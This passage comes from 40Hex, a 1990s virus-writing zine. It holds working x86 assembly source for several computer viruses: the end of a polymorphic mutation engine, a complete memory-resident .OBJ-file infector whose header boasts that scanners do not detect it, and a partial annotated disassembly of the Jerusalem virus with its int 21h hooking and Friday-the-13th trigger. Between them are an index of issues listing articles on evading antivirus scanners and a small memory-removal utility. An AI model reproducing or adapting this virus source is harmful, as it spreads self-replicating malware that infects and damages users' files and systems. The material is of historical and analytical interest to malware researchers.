al,3 jb RegOk2 RegOk1: dec ax RegOk2: or al,84h xchg ax,bx call Random and al,4 mov ah,ds:CryptReg or al,ah rol al,1 rol al,1 rol al,1 or al,bl push ax call MemoryOpcode test ds:MutationFlags,80h jnz Decryptor Encryptor: xor bl,1 Decryptor: mov al,OpcodeTable[bx] mov ds:EncryptOpcode[1],al pop ax stosb and al,20h or al,87h cmp ah,ds:CounterReg jne NotEqual or al,9fh NotEqual: mov ds:EncryptOpcode[2],al xchg ax,dx stosw SetStatus: test cl,38h jnz ResetFlagsOk or cl,40h ResetFlagsOk: mov ds:FlagsOk,0ebh ret db 2 ZeroReg: call RandomRegFF not cl and ds:RegZero,cl xchg al,ah and al,1ah test al,18h jpo OpcodeOk xor al,10h OpcodeOk: mov cl,3 mov ch,ah rol ah,cl or ah,ch or ax,0c021h stosw SetFlagsOk: mov ds:FlagsOk,072h ret db 5 RegZero equ byte ptr [$ - VirusTop + 1] MemoryTrash: db 0b5h,? not ch and ch,0fh jz ZeroReg call RandomRegFF and ah,23h mov cl,3 rol al,cl or al,84h or al,ah push ax call MemoryOpcode pop ax Compress2: call StoreRandom jmp ResetFlagsOk IncReg: xor cl,08h sub ch,4 mov bx,ds:Param3 xor ds:EncryptOpcode[2],8 mov ax,ds:Registers cmp al,ah je Adjust test cl,10h jz DoNotAdjust Adjust: sub dx,bx DoNotAdjust: call AddSub jmp SetStatus Compare: sub ch,6 xor cl,0c0h mov ax,ds:Param5 CmpSub equ byte ptr [$ - VirusTop + 1] db 0b3h,? xchg ax,bx cmp al,0fbh je DoNotChange neg bx call AddSubLarge jmp Jump DoNotChange: mov ax,0f881h call AddSubMore JumpType equ byte ptr [$ - VirusTop + 1] Jump: db 0bbh,?,0 mov al,ds:OpcodeTable[bx+4] mov ds:ConditionOpcode,al stosb JumpDestenation equ word ptr [$ - VirusTop + 1] db 0b8h,?,? sub ax,di dec ax jmp Compress1 db 4 AddSubTrash: mov al,81h stosb call RandomRegFF and ah,38h or al,0c0h or al,ah jmp Compress2 PrefetchFix: or ch,ch je DontFix mov al,0ebh cmp ds:FlagsOk,al je JumpOpcodeOk mov al,79h JumpOpcodeOk: stosb mov ax,si sub ax,di dec ax jns JumpOk xor ax,ax JumpOk: stosb DontFix: and cx,1 ret AddSub: cmp bx,2 jg AddSubLarge cmp bx,-2 jge AddSubSmall AddSubLarge: call Random mov ax,0c081h jns AddSubMore mov ah,0e8h neg bx AddSubMore: or ah,ds:CounterReg push ax mov al,bl cbw cmp ax,bx pop ax je AddSubByte AddSubWord: stosw xchg ax,bx stosw ret AddSubByte: mov al,83h stosw xchg ax,bx stosb Return: ret Sub1: inc bx mov al,48h AddSub1: or al,ds:CounterReg stosb AddSubSmall: or bx,bx je Return js Sub1 Add1: dec bx mov al,40h jmp AddSub1 MemoryOpcode: and al,7 cmp al,6 mov al,1 jne NotBP mov al,2 MutationFlags equ byte ptr [$ - VirusTop + 1] NotBP: db 0a8h,? jnz DoNotOverride mov al,2eh stosb DoNotOverride: call Random and ax,3 xchg ax,bx mov al,ds:OpcodeTable[bx] stosb ret RealRandom: xor ax,ax out 43h,al call Random push bx xchg ax,bx in al,40h xchg al,ah in al,40h add ax,bx pop bx ret Random: mov ax,1234h Randomize equ word ptr [$ - VirusTop - 2] ror ax,1 ror ax,1 ror ax,1 inc ax mov ds:Randomize,ax ret RandomRegFF: mov ch,0ffh RandomReg: call Random RandomRegNext: inc ax and al,7 xchg ax,cx mov al,1 rol al,cl xchg ax,cx Reserved equ byte ptr [$ - VirusTop + 2] db 0f6h,0c1h,? jnz RandomRegNext test cl,ch jz RandomRegNext or ds:RegZero,cl ret ;*****************************************************************************; ; ; ; Mutation engine ends here. ; ; ; ;*****************************************************************************; VirusEnd equ $ MaxFiles equ 4 FileTable equ [$ - VirusTop] FileTableEntry equ (HeaderLength + 7) db (FileTableEntry * MaxFiles) dup(?) dwa macro ident ident equ word ptr [$ - VirusTop] dw ? endm dba macro ident ident equ byte ptr [$ - VirusTop] db ? endm NewExeOfs equ dword ptr [$ - VirusTop] dwa NewExeOfsL dwa NewExeOfsH SFT_Entry equ word ptr [$ - VirusTop] dwa SFT_HandleCount ; 0 dwa SFT_OpenMode ; 2 dba SFT_Attribute ; 4 dwa SFT_DeviceInfo ; 5 dwa SFT_DeviceInfoOfs ; 7 dwa SFT_DeviceInfoSeg ; 9 dwa SFT_Cluster ; b dwa SFT_Time ; d dwa SFT_Date ; f dwa SFT_FileSizeL ; 11 dwa SFT_FileSizeH ; 13 dwa SFT_FilePosL ; 15 dwa SFT_FilePosH ; 17 StealthNames equ byte ptr [$ - VirusTop] db (8 * 0ah) dup(?) Buffer equ byte ptr [$ - VirusTop] db 120h dup(?) MemoryEnd equ $ ;*****************************************************************************; ; ; ; All good things must end. This virus ends here. ; ; ; ;*****************************************************************************; code ends end EntryPoint 8<-------------------------------------------------------------->8 code segment public 'code' assume cs:code, ds:code, es:code org 100h Main: mov ah,9 mov dx,offset Msg1 int 21h mov ax,0fdc8h mov ds,ax mov si,041f9h cmp byte ptr ds:[si],09ah jne Failed mov byte ptr ds:[si],36h mov word ptr ds:[si+1],16ffh mov word ptr ds:[si+3],05eah push cs pop ds mov ah,9 mov dx,offset Msg3 int 21h jmp Exit Failed: push cs pop ds mov ah,9 mov dx,offset Msg2 int 21h Exit: mov ax,4c00h int 21h Msg1 db 'Removing mirror from memory... $' Msg2 db 'Failed!',13,10,'$' Msg3 db 'Ok!',13,10,'$' code ends end Main 8<-------------------------------------------------------------->8 @echo off remove copy c:\dos\command.com c:\virus\command.com 8<-------------------------------------------------------------->8 copy c:\dos\command.com c:\virus\command.com set comspec=c:\virus\command.com mirror 40Hex Number 13 Volume 4 Issue 1 File 006 ;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ;º Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism] º ;º º ;º Memory Resident .OBJ Infector - No TBSCAN Flags, No F-Prot Alarms! º ;º º ;º This virus breaks new bounds in viral technology, best I know }-) º ;ºIt infects .OBJ files that are set up to compile to simple, stand- º ;ºalone .COM's. The basic theory for this is the following: It takes º ;ºthe pre-set compiling points of the modules in the .OBJ and moves themº ;ºup in memory so Objective will have room to insert itself underneath. º ;ºWhen the file is compiled the virus is at the beginning of the file, º ;ºand the original code follows BUT - the original code's memory offsetsº ;ºare what they were BEFORE the virus infected the .OBJ. Therefore, allº ;ºObjective has to do when it runs is go memory resident, and shift the º ;ºhost code back down to where it starts at 100h in memory, and all is º ;ºwell. º ;º º ;º Object files are basically a set of linked lists or fields, each º ;ºwith a three byte header. The first byte is it's identity byte, whileº ;ºthe following word is the size of the field - header. The very last º ;ºbyte of each record is a simple checksum byte - this can be gained º ;ºsimply by adding up all of the bytes in the field save the three byte º ;ºheader and taking the negative (not reg/inc reg) so that the entire º ;ºfield value + checksum = 0. Each field type has it's own identity º ;ºvalue, but we are only concerned with a few right now. º ;º º ;ºThey are as follows: º ;º 80h - Starting field of a .OBJ file º ;º 8Ch - External definitions º ;º 8Ah - Ending field of a .OBJ file º ;º A0h - Regular Code º ;º A2h - Compressed code (patterns/reiterated stuff) º ;º º ;º In the A0h and A2h types of fields, there is one more thing that º ;ºconcerns us - the three bytes after the field size in the header º ;ºare indicators of the location in memory the code will be at - the º ;ºsecond and third byte form the word we will be concerned with, which º ;ºis a simple offset from CS:0000 that the code will begin. Since we º ;ºare dealing with .COM files and want to put our virus at the beginningº ;ºof the file, we set the position field of the virus to 100h and the º ;ºpositions of all the other A0h and A2h fields to their old position º ;ºplus the virus size. When the file is compiled, the virus will be º ;ºat the beginning and the host will follow. Attaching the virus to º ;ºthe .OBJ itself is simple enough - just save the 8Ah field in memory, º ;ºand write FROM IT'S OLD BEGINNING a header for your virus, your º ;ºvirus, then a checksum and the old 8Ah field. At all times when º ;ºmodifying fields, the checksums must be fixed afterwards. º ;º º ;º For the rest of the techniques that may be useful, I suggest you º ;ºlook at the following code for my Shifting Objective Virus. I'd like º ;ºto thank The Nightmare for his ideas on this when we sat around bored º ;ºthose days. Greets go out to all of Phalcon/Skism, Urnst Kouch, º ;ºMark Ludwig, TridenT, NuKE, and the rest of the viral community. º ;ºA special hello goes to Hermanni and Frisk. º ;º º ;º Ò Stormbringer [P/S] º ;º ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄ º ;º Ð º ;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ .model tiny .radix 16 .code org 100 start: push ds sub ax,ax mov ds,ax mov ax,word ptr ds:[84] mov word ptr cs:[Fake21IP],ax mov ax,word ptr ds:[86] mov word ptr cs:[Fake21CS],ax mov ax,word ptr ds:[2f*4] mov word ptr cs:[Fake2fIP],ax mov ax,word ptr ds:[2f*4+2] mov word ptr cs:[Fake2fCS],ax pop ds CheckIfResident: mov ax,0feadh ;Check if we are in memory call fake21 cmp ax,0d00dh jne ReserveMemory ;Nope, go resident xor ax,ax mov ds,ax jmp RestoreFile ;Yep, skip it ReserveMemory: mov ax,ds dec ax ;Go to MCB's mov ds,ax sub word ptr ds:[3],80 ;Grab 2K from this MCB sub word ptr ds:[12],80 ;And from the Top of MEM in PSP xor ax,ax mov ds,ax ;We're gonna take up 2k in memory. sub word ptr ds:[413],2 ;Reserve 2k from bios int 12h ;Get bios memory amount in K mov cl,6 shl ax,cl PutVirusInMemory: push cs pop ds sub ax,10 ;NewSeg:0 was in AX, now Newseg:100 mov es,ax ;is start of reserved memory field.... mov di,100 mov si,100 mov cx,end_prog-start repnz movsb ;Copy virus into memory HookInterrupts: xor ax,ax mov ds,ax ;Hook Int 21h directly using cli ;Interrupt table mov ax,offset Int21 xchg word ptr ds:[84],ax mov word ptr es:[IP_21],ax mov ax,es xchg word ptr ds:[86],ax mov word ptr es:[CS_21],ax sti RestoreFile: push cs pop es mov ax,0deadh ;Call interrupt handler to restore file pushf call dword ptr ds:[84] mov ax,4c01 ;Terminate if restore unsuccessful call fake21 InstallCHeck: mov ax,0d00dh ;Tell prog we're already here iret Int21: cmp ax,0feadh je InstallCheck ;Is it an install check? cmp ax,0deadh je RestoreHost ;Or a restoration request? cmp ah,3e jz fileclose ;Fileclose - go infect it if it's an .OBJ GoInt21: db 0ea ;Jump back into int 21h handler IP_21 dw 0 CS_21 dw 0 RestoreHost: push es pop ds mov di,sp ;Set iret to return to beginning of code mov [di],100 mov di,100 mov si,offset Host ;Shift host back down over virus in memory mov cx,0f000 repnz movsb mov si,ax xor ax,ax mov bx,ax ;Set registers as if just executing mov cx,ax mov dx,ax mov di,ax iret ;Iret back into the host file fileclose: pushf push ax bx cx dx es ds si di bp xor ax,ax xor ax,1220h call fake2f push bx mov bl,byte ptr es:[di] ;Good ol' SFT trick mov ax,1216h call fake2f or word ptr es:[di+2],2 ;Set file Read/Write add di,28 pop bx cmp byte ptr es:[di+2],'J' ;Check out filename jne Done_Close cmp word ptr es:[di],'BO' jne Done_Close mov word ptr cs:[Host_Handle],bx mov ax,5700 ;Save date/time stamp call fake21 push cx dx call Infect_Obj ;go infect it pop dx cx mov ax,5701 ;Restore date/time stamp call fake21 Done_Close: pop bp di si ds es dx cx bx ax ;Exit and chain into int 21h popf jmp GoInt21 Isanexec: push dx GetAndSaveCurLoc: mov ax,4201 ;Save position of current module xor cx,cx xor dx,dx call fake21 push dx ax ModExecStartingPoint: ReadOldStartingPoint: mov ah,3f mov dx,offset startingpt ;Read starting point mov cx,3 call fake21 mov ax,word ptr [startingpt+1] cmp byte ptr firstexec,0 ;Check if this is the first exec field jne NotFirstExec ;If so, it should have a starting ;point of 100h for a .COM for us ;to infect it correctly CheckifwillbeCOMfile: ;we're assuming that anything with mov byte ptr firstexec,1 ;a starting point of cs:100h will be ;a com. while this isn't true all ;the time, we can cross our fingers.. cmp ax,100 je NotFirstExec ;File is good, continue infection. Getouttahere: pop ax ax ax ;won't be a .com file - don't infect. ret NotFirstExec: ;Either it isn't first exec or the mov cx,end_prog-start ;check was good.. now add virus size add ax,cx ;to exec starting point. mov word ptr [startingpt+1],ax GoBackToStartingPointinfo: pop dx cx push cx dx mov ax,4200 ;go back to starting point field call fake21 AndWriteIt: mov ah,41 dec ah mov cx,3 mov dx,offset startingpt ;and save it call fake21 GoToChecksumField: mov dx,fieldsize sub dx,4 xor cx,cx ;go to checksum field mov ax,4201 call fake21 ResetExecChecksum: mov ah,3f mov dx,offset Checksum ;read checksum field mov cx,1 call fake21 mov cx,-1 mov dx,-1 ;go back to checksum field in file mov ax,4201 call fake21 mov cx,(end_prog-start) sub Checksum,ch ;modify checksum to account for sub Checksum,cl ;our change to starting point field. mov ah,41 mov dx,offset Checksum ;and write it mov cx,1 dec ah call fake21 DoneIsExec: pop dx cx mov ax,4200 ;Restore original file pointer call fake21 pop dx jmp NExtfield ;and continue with infection startingpt db 0,0,0 firstexec db 0 anexec: jmp isanexec Bailout: ret Infect_Obj: push cs cs pop es ds mov firstexec,0 ;Init first exec field call go_bof ;Go to beginning of file ModExecFields: call ReadHeader ;read the three byte header, field size in DX ;Header type in AL cmp al,8c ;External module je bailout ;It has external calls, which we can't ;handle yet :( cmp al,0a0 ;Executable module je anexec cmp al,0a2 ;Reiterated executable module je anexec cmp al,8a ;Ending module je DoneModExecs NextField: mov ax,4201 ;Go to the next field xor cx,cx call fake21 jmp ModExecFields DoneModExecs: mov ax,4201 mov cx,-1 mov dx,-3 ;go to start of 8A field (end module) call fake21 push dx ax mov cx,fieldsize add cx,3+10 ;the +10 is just to be safe mov ah,3f ;load in last module mov dx,offset buffer call fake21 mov endfieldsize,ax ;Read in the end module pop dx cx mov ax,4200 ;Go back to the beginning of the module call fake21 ;now that we have it in memory WriteOurHeader: mov ah,3f mov cx,endheader-ourheader ;write the header for virus module mov dx,offset ourheader inc ah call fake21 WriteVirus: mov ah,3f mov cx,end_prog-start ;write virus to file mov dx,100 inc ah call fake21 CreateChecksum: mov si,100 mov cx,end_prog-start xor ax,ax AddupChecksum: ;Create checksum for virus lodsb add ah,al loop AddupChecksum not ah inc ah mov Checksum,ah WriteChecksum: mov dx,offset Checksum mov cx,1 mov ah,3f inc ah call fake21 ;Then save the checksum in module WriteEndModule: mov dx,offset Buffer mov cx,endfieldsize mov ah,3f inc ah call fake21 ;And put the ending module back into ret ;place.... we're done. ReadHEader: mov ah,3f mov dx,offset fieldheader mov cx,3 ;Read module header for .obj files call fake21 ;save module type in AL and mov al,fieldheader ;module size in DX mov dx,fieldsize ret Go_Bof: ;Go to beginning of file mov al,0 jmp short movefp Go_Eof: ;Go to the end of the file mov al,02 movefp: ;Or just move the File pointer xor cx,cx xor dx,dx mov ah,42 call fake21 ret fake21: pushf db 9a fake21IP dw 0 fake21CS dw 0 ret fake2f: pushf db 9a fake2fIP dw 0 fake2fCS dw 0 ret Credits: db 'Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]' db 'Kudos go to The Nightmare!' OurHeader: db 0A0 dw (end_prog-start+4) ;our size in an .OBJ file db 1 db 0 ;starting position (cs:100h) db 1 endheader: endfieldsize dw 0 Checksum db 0 fieldheader db 0 fieldsize dw 0 Host_Handle dw 0 end_prog: Buffer: Host db 90,90,90,90,90,90,90,90,0cdh,20 end start 40Hex Number 13 Volume 4 Issue 1 File 007 The Unoffical Index to 40Hex Virus Magazine 40Hex is written and released by the virus group Phalcon/SKISM, whom I did not consult when making this. Compiled and edited By: MegaDeth, [TiC] Greets to all Phalcon/SKISM members, even Timelord who got lost the winning raffle ticket to the 486 at HohoCon, and who later that day had his VMB broken into by me and his own fellow Phalcon/SKISM members. Watch for the 14 digit random password generator coming out soon!! The index index is of all the issues of 40Hex from 1-12 sorted in order of number. |=========================================================================| |Title: | Issue #: | File #:| |=========================================================================| |Virus Spotlight, The Tiny virus | 1 | 001 | |How to modify viruses to avoid SCAN | 1 | 002 | |Sub-Zero virus | 1 | 003 | |Simple encryption techniques and Leprosy-B | 1 | 004 | |1992 virus | 1 | 005 | |=========================================================================| |How to sneak infected files into past SCAN. | 2 | 001 | |The safe way to play with viruses. | 2 | 002 | |Theory Dept. Viruses Slow vs. Fast. | 2 | 003 | |Interview of the month: Skism One. | 2 | 004 | |Artical on The Dark Avenger. | 2 | 005 | |The mother of all viruses - WHALE! | 2 | 006 | |And now a word from a real dick. | 2 | 007 | |The Ontario Virus. | 2 | 008 | |The 1260 Virus. | 2 | 009 | |The Skism 808 source code. | 2 | 010 | |Vienna/Violator source code | 2 | 011 | |=========================================================================| |A Word From Hellraiser | 3 | 001 | |The Dark Avenger Source | 3 | 002 | |Anthrax | 3 | 003 | |The 40Hex Challenge/The Strange Case of Validate | 3 | 004 | |Application for SKISM | 3 | 005 | |Virus News For October/91 | 3 | 006 | |The Darth Vader Virus Strain B | 3 | 007 | |Mystery Virus | 3 | 008 | |Tiny-F Source | 3 | 009 | |Afterwords | 3 | 010 | |=========================================================================| |USA Virus News | 4 | 001 | |The Bob Ross virus | 4 | 002 | |The Sunday Virus | 4 | 003 | |The Terror Virus | 4 | 004 | |Virus Survay Artical | 4 | 005 | |The Typo COM virus | 4 | 006 | |From Johns BBS | 4 | 007 | |The Marauder Virus | 4 | 008 | |Pklite Scan Strings | 4 | 009 | |Encryption Defeating | 4 | 010 | |The Ultimate Toolkit | 4 | 011 | |Tequilla Virus Source | 4 | 012 | |.....................................................| 4 | 013 | |Is This The End? | 4 | 014 | |=========================================================================| |BUSTED! Instigator's Story | 5 | 001 | |Virus Spotlight: Ambulance Car | 5 | 002 | |The 1963 Virus | 5 | 003 | |Alliance w/McAfee and Dvorak | 5 | 004 | |Virus Author's Constitution | 5 | 005 | |SKISM Vengeance Virus Hex | 5 | 006 | |Finding Scan Strings II | 5 | 007 | |=========================================================================| |Finding anti-viral programs in memory | 6 | 001 | |Code Concealing: Part I | 6 | 002 | |More Busts and Updates | 6 | 003 | |The NoLite Utility | 6 | 004 | |PHALCON/SKISM Update | 6 | 005 | |Some Dick who wants to bust virus authors | 6 | 006 | |The Kennedy Virus | 6 | 007 | |Cornell students nailed for viruses | 6 | 008 | |The Truth Behind Virus Scanners | 6 | 009 | |Virus Spotlite-Dir2 Full commented source | 6 | 00A | |Scan strings, and how to avoid them | 6 | 00B | |!Virus Contest! | 6 | 00C | |=========================================================================| |Virii in the News Part I | 7 | 001 | |Code Concealment [2] | 7 | 002 | |An Introduction to Non-overwriting Virii | 7 | 003 | |Enough Tinys to Sink a Ship | 7 | 004 | |MtE News Stories | 7 | 005 | |Virus Spotlite:Dissassembly of Leap Frog | 7 | 006 | |Spammies Reminder | 7 | 007 | |Virii in the News Part II | 7 | 008 | |Debug Script for Pogue Mahone | 7 | 009 | |=========================================================================| |PS-MPC (MassProducedCode) | 8 | 001 | |Putav, an expose! | 8 | 002 | |Findav -P/S- Style | 8 | 003 | |Checkav -P/S- Original | 8 | 004 | |StarShip Virus Info | 8 | 005 | |Virus Spotlite: Michelangelo | 8 | 006 | |EXE Infectors and you | 8 | 007 | |Disassembly of ASHAR | 8 | 008 | |Ear-6 source en Espa¤ol | 8 | 009 | |Letter to the Editor | 8 | 010 | |=========================================================================| |40Hex Editorial | 9 | 001 | |SYS Virii | 9 | 002 | |Phoenix 2000 Debug Dump | 9 | 003 | |More antidebugger techniques | 9 | 004 | |Virus Spotlite: 4096 | 9 | 005 | |Nina disassembly | 9 | 006 | |A New Virus Naming Convention | 9 | 007 | |Code Optimization | 9 | 008 | |FirstStrike's Catfish virus | 9 | 009 | |=========================================================================| |Virus creation aids | 10 | 001 | |Phalcon/Skism Shiny Happy virus | 10 | 002 | |RNA virus source code | 10 | 003 | |ARCV Busted | 10 | 004 | |Green Caterpillar Debug Script | 10 | 005 | |Virus Spotlite: Bad Boy 2 | 10 | 006 | |A Case Against Encryption | 10 | 007 | |Ontario 3 source code | 10 | 008 | |40Hex Survey | 10 | 009 | |=========================================================================| |Today's Phalcon/Skism Gripe | 11 | 001 | |Advanced Polymorphism Primer, Part 1 | 11 | 002 | |Phalcon/Skism Trigger Virus & DAME Source Code | 11 | 003 | |Virus Censorship (Gripe Part II) | 11 | 004 | |Virus Spotlite: Leech | 11 | 005 | |Fun with System File Tables | 11 | 006 | |SVC 5.0 disassembly | 11 | 007 | |Predator Source Code | 11 | 008 | |=========================================================================| |DAME Source 'Updated' | 12 | 001 | |40Hex Hardcopy Rumors Confirmed | 12 | 002 | |A Self Dis-Infecting .COM File | 12 | 003 | |AIS BBS Commentary | 12 | 003 | |Natas Virus By Priest | 12 | 005 | |A Commentary by Sara Gordon | 12 | 006 | |Nympho Mitosis 2.0 Debug Script | 12 | 007 | |Viruses In The News | 12 | 008 | |OS/2 Virus Source | 12 | 009 | |=========================================================================| This section sorted by article title. |=========================================================================| |Title: | Issue # | File # | |=========================================================================| |!Virus Contest! | 6 | 00C | |.....................................................| 4 | 013 | |1992 virus | 1 | 005 | |40Hex Editorial | 9 | 001 | |40Hex Hardcopy Rumors Confirmed | 12 | 002 | |40Hex Survey | 10 | 009 | |A Case Against Encryption | 10 | 007 | |A Commentary by Sara Gordon | 12 | 006 | |A New Virus Naming Convention | 9 | 007 | |A Self Dis-Infecting .COM File | 12 | 003 | |A Word From Hellraiser | 3 | 001 | |Advanced Polymorphism Primer, Part 1 | 11 | 002 | |Afterwords | 3 | 010 | |AIS BBS Commentary | 12 | 003 | |Alliance w/McAfee and Dvorak | 5 | 004 | |An Introduction to Non-overwriting Virii | 7 | 003 | |And now a word from a real dick. | 2 | 007 | |Anthrax | 3 | 003 | |Application for SKISM | 3 | 005 | |ARCV Busted | 10 | 004 | |Artical on The Dark Avenger. | 2 | 005 | |BUSTED! Instigator's Story | 5 | 001 | |Checkav -P/S- Original | 8 | 004 | |Code Concealing: Part I | 6 | 002 | |Code Concealment [2] | 7 | 002 | |Code Optimization | 9 | 008 | |Cornell students nailed for viruses | 6 | 008 | |DAME Source 'Updated' | 12 | 001 | |Debug Script for Pogue Mahone | 7 | 009 | |Disassembly of ASHAR | 8 | 008 | |Ear-6 source en Espa¤ol | 8 | 009 | |Encryption Defeating | 4 | 010 | |Enough Tinys to Sink a Ship | 7 | 004 | |EXE Infectors and you | 8 | 007 | |Findav -P/S- Style | 8 | 003 | |Finding anti-viral programs in memory | 6 | 001 | |Finding Scan Strings II | 5 | 007 | |FirstStrike's Catfish virus | 9 | 009 | |From Johns BBS | 4 | 007 | |Fun with System File Tables | 11 | 006 | |Green Caterpillar Debug Script | 10 | 005 | |How to modify viruses to avoid SCAN | 1 | 002 | |How to sneak infected files into past SCAN. | 2 | 001 | |Interview of the month: Skism One. | 2 | 004 | |Is This The End? | 4 | 014 | |Letter to the Editor | 8 | 010 | |More antidebugger techniques | 9 | 004 | |More Busts and Updates | 6 | 003 | |MtE News Stories | 7 | 005 | |Mystery Virus | 3 | 008 | |Natas Virus By Priest | 12 | 005 | |Nina disassembly | 9 | 006 | |Nympho Mitosis 2.0 Debug Script | 12 | 007 | |Ontario 3 source code | 10 | 008 | |OS/2 Virus Source | 12 | 009 | |Phalcon/Skism Shiny Happy virus | 10 | 002 | |Phalcon/Skism Trigger Virus & DAME Source Code | 11 | 003 | |PHALCON/SKISM Update | 6 | 005 | |Phoenix 2000 Debug Dump | 9 | 003 | |Pklite Scan Strings | 4 | 009 | |Predator Source Code | 11 | 008 | |PS-MPC (MassProducedCode) | 8 | 001 | |Putav, an expose! | 8 | 002 | |RNA virus source code | 10 | 003 | |Scan strings, and how to avoid them | 6 | 00B | |Simple encryption techniques and Leprosy-B | 1 | 004 | |SKISM Vengeance Virus Hex | 5 | 006 | |Some Dick who wants to bust virus authors | 6 | 006 | |Spammies Reminder | 7 | 007 | |StarShip Virus Info | 8 | 005 | |Sub-Zero virus | 1 | 003 | |SVC 5.0 disassembly | 11 | 007 | |SYS Virii | 9 | 002 | |Tequilla Virus Source | 4 | 012 | |The 1260 Virus. | 2 | 009 | |The 1963 Virus | 5 | 003 | |The 40Hex Challenge/The Strange Case of Validate | 3 | 004 | |The Bob Ross virus | 4 | 002 | |The Dark Avenger Source | 3 | 002 | |The Darth Vader Virus Strain B | 3 | 007 | |The Kennedy Virus | 6 | 007 | |The Marauder Virus | 4 | 008 | |The mother of all viruses - WHALE! | 2 | 006 | |The NoLite Utility | 6 | 004 | |The Ontario Virus. | 2 | 008 | |The safe way to play with viruses. | 2 | 002 | |The Skism 808 source code. | 2 | 010 | |The Sunday Virus | 4 | 003 | |The Terror Virus | 4 | 004 | |The Truth Behind Virus Scanners | 6 | 009 | |The Typo COM virus | 4 | 006 | |The Ultimate Toolkit | 4 | 011 | |Theory Dept. Viruses Slow vs. Fast. | 2 | 003 | |Tiny-F Source | 3 | 009 | |Today's Phalcon/Skism Gripe | 11 | 001 | |USA Virus News | 4 | 001 | |Vienna/Violator source code | 2 | 011 | |Virii in the News Part I | 7 | 001 | |Virii in the News Part II | 7 | 008 | |Virus Author's Constitution | 5 | 005 | |Virus Censorship (Gripe Part II) | 11 | 004 | |Virus creation aids | 10 | 001 | |Virus News For October/91 | 3 | 006 | |Virus Spotlight, The Tiny virus | 1 | 001 | |Virus Spotlight: Ambulance Car | 5 | 002 | |Virus Spotlite-Dir2 Full commented source | 6 | 00A | |Virus Spotlite: 4096 | 9 | 005 | |Virus Spotlite: Bad Boy 2 | 10 | 006 | |Virus Spotlite: Leech | 11 | 005 | |Virus Spotlite: Michelangelo | 8 | 006 | |Virus Spotlite:Dissassembly of Leap Frog | 7 | 006 | |Virus Survay Artical | 4 | 005 | |Viruses In The News | 12 | 008 | |=========================================================================| 40Hex Number 13 Volume 4 Issue 1 File 008 .model tiny .code org 0 ; Jerusalem (Standard) ; Disassembly by Dark Angel of Phalcon/Skism viruslength = (endjerusalem - jerusalem) jerusalem: jmp enter_jerusalem db 'sU' marker db 'MsDos' COMdest dw 0, 0 activate_flag db 0 zero dw 0 filesize dw 3 oldint8 dw 0, 0 oldint21 dw 0, 0 oldint24 dw 0, 0 int8counter dw 0 tempheader dw 0 EXEdest dw 0,0 _initialSP dw 0 _initialSS dw 0 _headersize dw 0 _filelengthlo dw 0 _filelengthhi dw 0 savePSP1 dw 0 respara dw 80h parmblock: dw 0 ; use current environment dw 80h savePSP2 dw 0 ; pointer to command line dw 5Ch savePSP3 dw 0 ; pointer to 1st FCB dw 6Ch savePSP4 dw 0 ; pointer to 2nd FCB saveSP dw 0 saveSS dw 0 initialCSIP dw 0, 0 oldintFF dw 0 db 0 COM_EXE_flag db 0 header dw 0Eh dup (0) readbuffer db 5 dup (0) filehandle dw 0 fileattr dw 0 filedate dw 0 filetime dw 0 pagesize dw 200h parasize dw 10h ; paragraph->byte conversion filelength dw 0, 0 filenameptr dw 0, 0 command_com db 'COMMAND.COM' alloc_flag dw 0 db 0, 0, 0, 0 enter_jerusalem: cld mov ah,0E0h ; installation check int 21h cmp ah,0E0h jae not_resident cmp ah,3 jb not_resident mov ah,0DDh ; restore EXE file mov di,100h mov si,offset endjerusalem add si,di mov cx,cs:[di+filesize] int 21h not_resident: mov ax,cs add ax,10h mov ss,ax mov sp,700h push ax mov ax,offset relocate_entry push ax retf relocate_entry: cld push es mov cs:savePSP1,es mov cs:savePSP2,es mov cs:savePSP3,es mov cs:savePSP4,es mov ax,es add ax,10h add cs:initialCSIP+2,ax add cs:saveSS,ax mov ah,0E0h ; installation check int 21h cmp ah,0E0h jae install_virus cmp ah,3 pop es mov ss,cs:saveSS mov sp,cs:saveSP jmp dword ptr cs:initialCSIP install_virus: xor ax,ax mov es,ax mov ax,es:0FFh*4 mov cs:oldintFF,ax mov al,es:0FFh*4+2 mov byte ptr cs:oldintFF+2,al mov word ptr es:0FFh*4,0A5F3h ; encode rep movsw mov byte ptr es:0FFh*4+2,0CBh ; encode retf pop ax add ax,10h mov es,ax push cs pop ds mov cx,viruslength shr cx,1 xor si,si mov di,si push es mov ax,offset return_here push ax db 0EAh ; jmp far ptr dw 03FCh, 0 return_here: mov ax,cs mov ss,ax mov sp,700h xor ax,ax mov ds,ax mov ax,cs:oldintFF mov ds:0FFh*4,ax mov al,byte ptr cs:oldintFF+2 mov ds:0FFh*4+2,al mov bx,sp mov cl,4 shr bx,cl add bx,10h mov cs:respara,bx ; allocate enough memory mov ah,4Ah ; for the virus mov es,cs:savePSP1 int 21h mov ax,3521h ; get int 21 vector int 21h mov cs:oldint21,bx ; save it mov word ptr cs:oldint21+2,es push cs ; set new int 21 handler pop ds mov dx,offset int21 mov ax,2521h int 21h mov es,savePSP1 ; get PSP mov es,es:2Ch ; get environment segment xor di,di mov cx,7FFFh xor al,al scan_environment: repne scasb cmp es:[di],al loopnz scan_environment mov dx,di add dx,3 mov ax,4B00h ; execute original program push es pop ds push cs pop es mov bx,offset parmblock push ds push es push ax push bx push cx push dx mov ah,2Ah ; get date int 21h mov cs:activate_flag,0 ; default to no activate cmp cx,1987d ; don't activate in 1987 je no_activate cmp al,5 ; friday? jne set_int8 cmp dl,13d ; the thirteenth? jne set_int8 inc cs:activate_flag ; mark activate jmp short no_activate db 90h set_int8: ; do annoying box effect mov ax,3508h ; get old int 8 handler int 21h mov cs:oldint8,bx mov word ptr cs:oldint8+2,es push cs pop ds mov int8counter,60*30*18 ; wait 30 minutes mov ax,2508h ; set new int 8 handler mov dx,offset int8 int 21h no_activate: pop dx pop cx pop bx 